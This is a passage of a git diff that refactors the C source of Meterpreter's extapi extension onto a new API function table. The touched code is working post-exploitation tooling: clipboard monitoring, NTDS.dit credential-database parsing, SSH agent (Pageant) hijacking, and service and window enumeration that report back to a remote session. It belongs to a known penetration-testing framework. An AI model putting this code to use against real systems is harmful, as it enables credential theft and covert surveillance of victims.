+942,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data"); } - bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); + bDownload = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS) { @@ -960,7 +961,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) if (pResponse) { dprintf("[EXTAPI CLIPBOARD] sending response"); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); } return dwResult; @@ -993,7 +994,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data"); } - if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL) + if ((lpClipString = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER); } @@ -1047,7 +1048,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) pGlobalFree(hClipboardData); } - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1082,7 +1083,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) // signal to the caller that our thread has started dprintf("[EXTAPI CLIPBOARD] Thread started"); pState->bRunning = TRUE; - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); waitableHandles[0] = thread->sigterm->handle; waitableHandles[1] = pState->hPauseEvent->handle; @@ -1106,13 +1107,13 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) dprintf("[EXTAPI CLIPBOARD] Thread paused"); pState->bRunning = FALSE; // indicate that we've paused - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); break; case 2: // resume the thread dprintf("[EXTAPI CLIPBOARD] Thread resumed"); pState->bRunning = TRUE; // indicate that we've resumed - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); break; default: // timeout, so pump messages @@ -1129,7 +1130,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) // and we're done, switch off, and tell the caller we're done pState->bRunning = FALSE; destroy_clipboard_monitor_window(pState); - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); dprintf("[EXTAPI CLIPBOARD] Thread stopped"); } while (0); @@ -1149,19 +1150,19 @@ VOID destroy_clipboard_monitor_state(ClipboardState** ppState) ClipboardState* pState = *ppState; if (pState->hThread != NULL) { - thread_destroy(pState->hThread); + met_api->thread.destroy(pState->hThread); } if (pState->hPauseEvent != NULL) { - event_destroy(pState->hPauseEvent); + met_api->event.destroy(pState->hPauseEvent); } if (pState->hResumeEvent != NULL) { - event_destroy(pState->hResumeEvent); + met_api->event.destroy(pState->hResumeEvent); } if (pState->hResponseEvent != NULL) { - event_destroy(pState->hResponseEvent); + met_api->event.destroy(pState->hResponseEvent); } destroy_clipboard_monitor_capture(&pState->captureList, TRUE); @@ -1206,7 +1207,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) dprintf("[EXTAPI CLIPBOARD] pState %p", pState); memset(pState, 0, sizeof(ClipboardState)); - lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS); + lpClassName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS); if (lpClassName == NULL || strlen(lpClassName) == 0) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER); @@ -1215,12 +1216,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1); dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass); - pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + pState->bCaptureImageData = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); - pState->hPauseEvent = event_create(); - pState->hResumeEvent = event_create(); - pState->hResponseEvent = event_create(); - pState->captureList.pClipboardCaptureLock = lock_create(); + pState->hPauseEvent = met_api->event.create(); + pState->hResumeEvent = met_api->event.create(); + pState->hResponseEvent = met_api->event.create(); + pState->captureList.pClipboardCaptureLock = met_api->lock.create(); if (pState->hPauseEvent == NULL || pState->hResumeEvent == NULL @@ -1229,7 +1230,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY); } - pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL); + pState->hThread = met_api->thread.create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL); if (pState->hThread == NULL) { @@ -1237,10 +1238,10 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) } gClipboardState = pState; - thread_run(pState->hThread); + met_api->thread.run(pState->hThread); // 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out - if (!event_poll(pState->hResponseEvent, 4000)) + if (!met_api->event.poll(pState->hResponseEvent, 4000)) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0); } @@ -1262,7 +1263,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) gClipboardState = NULL; } - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1276,8 +1277,8 @@ DWORD clipboard_monitor_pause(ClipboardState* pState) { if (pState->bRunning) { - event_signal(pState->hPauseEvent); - event_poll(pState->hResponseEvent, INFINITE); + met_api->event.signal(pState->hPauseEvent); + met_api->event.poll(pState->hResponseEvent, INFINITE); } return ERROR_SUCCESS; @@ -1292,8 +1293,8 @@ DWORD clipboard_monitor_resume(ClipboardState* pState) { if (!pState->bRunning) { - event_signal(pState->hResumeEvent); - event_poll(pState->hResponseEvent, INFINITE); + met_api->event.signal(pState->hResumeEvent); + met_api->event.poll(pState->hResponseEvent, INFINITE); } return ERROR_SUCCESS; @@ -1321,7 +1322,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet) dwResult = clipboard_monitor_pause(gClipboardState); } while (0); - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1348,7 +1349,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet) dwResult = clipboard_monitor_resume(gClipboardState); } while (0); - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1364,7 +1365,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bDump = TRUE; BOOL bIncludeImages = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1374,18 +1375,18 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) } dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor"); - bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP); - bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + bDump = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP); + bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); // now stop the show - event_signal(gClipboardState->hThread->sigterm); + met_api->event.signal(gClipboardState->hThread->sigterm); // if they don't terminate in a reasonable period of time... - if (!event_poll(gClipboardState->hResponseEvent, 10000)) + if (!met_api->event.poll(gClipboardState->hResponseEvent, 10000)) { // ... FINISH HIM! dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough"); - thread_kill(gClipboardState->hThread); + met_api->thread.kill(gClipboardState->hThread); } if (bDump) @@ -1397,7 +1398,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } @@ -1413,7 +1414,7 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeImages = TRUE; BOOL bPurge = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1421,8 +1422,8 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE); } - bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); - bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE); + bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + bPurge = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE); dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE"); @@ -1430,15 +1431,15 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) if (bPurge) { - lock_acquire(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock); destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE); - lock_release(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock); } dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } @@ -1454,7 +1455,7 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeImages = TRUE; BOOL bPurge = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1463,14 +1464,14 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE); } - lock_acquire(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock); destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE); - lock_release(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock); dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c index fe1d24f1..d34d1bf7 100644 --- a/c/meterpreter/source/extensions/extapi/extapi.c +++ b/c/meterpreter/source/extensions/extapi/extapi.c @@ -2,12 +2,13 @@ * @file extapi.h * @brief Entry point and intialisation definitions for the extended API extension. */ -#include "../../common/common.h" +#include "common.h" + +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "window.h" @@ -18,9 +19,6 @@ #include "ntds.h" #include "pageantjacker.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { @@ -45,14 +43,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); initialise_clipboard(); initialise_service(); @@ -67,7 +66,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/ntds.c b/c/meterpreter/source/extensions/extapi/ntds.c index 6dc8b755..4d237de2 100755 --- a/c/meterpreter/source/extensions/extapi/ntds.c +++ b/c/meterpreter/source/extensions/extapi/ntds.c @@ -3,6 +3,7 @@ * @brief NTDS channel interface */ #include "extapi.h" +#include "common_metapi.h" #define JET_VERSION 0x0501 @@ -28,10 +29,10 @@ typedef struct // The user interacts with the NTDS database through that channel from that point on. DWORD ntds_parse(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); - PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); + PCHAR filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); // Check if the File exists if (0xffffffff == GetFileAttributes(filePath)) { res = 2; @@ -149,7 +150,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet) chops.native.context = ctx; chops.native.close = ntds_channel_close; chops.read = ntds_channel_read; - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); @@ -159,11 +160,11 @@ DWORD ntds_parse(Remote *remote, Packet *packet) goto out; } - channel_set_type(newChannel, "ntds"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->channel.set_type(newChannel, "ntds"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/ntds_jet.c b/c/meterpreter/source/extensions/extapi/ntds_jet.c index 064895d7..81e61e3e 100644 --- a/c/meterpreter/source/extensions/extapi/ntds_jet.c +++ b/c/meterpreter/source/extensions/extapi/ntds_jet.c @@ -3,6 +3,7 @@ * @brief Definitions for NTDS Jet Engine functions */ #include "extapi.h" +#include "common_metapi.h" #define JET_VERSION 0x0501 @@ -246,7 +247,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns return readStatus; } - char *accountNameStr = wchar_to_utf8(accountName); + char *accountNameStr = met_api->string.wchar_to_utf8(accountName); if (accountNameStr) { strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1); free(accountNameStr); @@ -262,7 +263,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns return readStatus; } - char *accountDescriptionStr = wchar_to_utf8(accountDescription); + char *accountDescriptionStr = met_api->string.wchar_to_utf8(accountDescription); if (accountDescriptionStr) { strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1); free(accountDescriptionStr); diff --git a/c/meterpreter/source/extensions/extapi/pageantjacker.c b/c/meterpreter/source/extensions/extapi/pageantjacker.c index bf83d864..8bd86fa5 100644 --- a/c/meterpreter/source/extensions/extapi/pageantjacker.c +++ b/c/meterpreter/source/extensions/extapi/pageantjacker.c @@ -3,6 +3,7 @@ * @brief Entry point and intialisation functionality for the pageantjacker extention. */ #include "extapi.h" +#include "common_metapi.h" #include "pageantjacker.h" #include @@ -173,14 +174,14 @@ out: DWORD request_pageant_send_query(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD rawDataSizeIn = 0; - Byte *rawDataIn = NULL; + byte *rawDataIn = NULL; PAGEANTQUERYRESULTS results = { 0 }; // Retrieve from metasploit - rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN); - rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN); + rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN); + rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN); dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn); @@ -194,9 +195,9 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet) send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results); // Build the packet based on the respones from the Pageant interaction. - packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result); - packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength); - packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage); + met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result); + met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage); dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len " "%d, data is at 0x%p. Error message at 0x%p (%d)", results.result, results.bloblength, results.blob, @@ -205,7 +206,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet) free(results.blob); // Transmit the packet to metasploit - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/service.c b/c/meterpreter/source/extensions/extapi/service.c index 6bd02c75..d812d757 100644 --- a/c/meterpreter/source/extensions/extapi/service.c +++ b/c/meterpreter/source/extensions/extapi/service.c @@ -4,6 +4,7 @@ */ #include "extapi.h" #include "service.h" +#include "common_metapi.h" #include @@ -189,7 +190,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) LPSTR lpServiceName = NULL; ServiceOperation eServiceOp = 0; DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -200,13 +201,13 @@ DWORD request_service_control(Remote *remote, Packet *packet) break; } - lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME); + lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME); if (!lpServiceName) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER); } - eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP); + eServiceOp = (ServiceOperation)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP); if (eServiceOp == 0) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER); @@ -220,7 +221,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -235,7 +236,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) DWORD request_service_enum(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -254,7 +255,7 @@ DWORD request_service_enum(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -274,7 +275,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) { LPSTR lpServiceName = NULL; DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -285,7 +286,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) break; } - lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); + lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); if (!lpServiceName) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER); @@ -299,7 +300,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -605,15 +606,15 @@ DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Pa */ VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive) { - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus); - packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus); + met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive); - packet_add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup); + met_api->packet.add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup); } /*! @@ -658,12 +659,12 @@ DWORD get_service_config(SC_HANDLE scService, Packet *pResponse) } dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType); - packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : ""); - packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); + met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : ""); + met_api->packet.add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); } while (0); @@ -703,7 +704,7 @@ DWORD get_service_status(SC_HANDLE scService, Packet *pResponse) break; } - packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState); + met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState); } while (0); @@ -757,7 +758,7 @@ DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse) BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string"); } - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); } while (0); diff --git a/c/meterpreter/source/extensions/extapi/window.c b/c/meterpreter/source/extensions/extapi/window.c index 64a84543..7495e66b 100644 --- a/c/meterpreter/source/extensions/extapi/window.c +++ b/c/meterpreter/source/extensions/extapi/window.c @@ -3,6 +3,7 @@ * @brief Definitions for window management functionality */ #include "extapi.h" +#include "common_metapi.h" #include "window.h" VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle_u, const wchar_t* cpClassName_u, DWORD dwProcessId); @@ -186,7 +187,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet) QWORD parentWindow = 0; DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeUnknown = FALSE; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -199,10 +200,10 @@ DWORD request_window_enum(Remote *remote, Packet *packet) // Extract the specified parent window. If this is NULL, that's ok, as we'll // just enumerate top-level windows. - parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE); + parentWindow = met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE); // Extract the flag that indicates of unknown windows should be included in the output - bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); + bIncludeUnknown = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); dprintf("[EXTAPI WINDOW] Beginning window enumeration"); dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow); @@ -212,7 +213,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet) dprintf("[EXTAPI WINDOW] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -228,11 +229,11 @@ DWORD request_window_enum(Remote *remote, Packet *packet) */ VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle, const wchar_t* cpClassName, DWORD dwProcessId) { - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId); - packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, wchar_to_utf8(cpWindowTitle)); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, wchar_to_utf8(cpClassName)); - packet_add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId); + met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, met_api->string.wchar_to_utf8(cpWindowTitle)); + 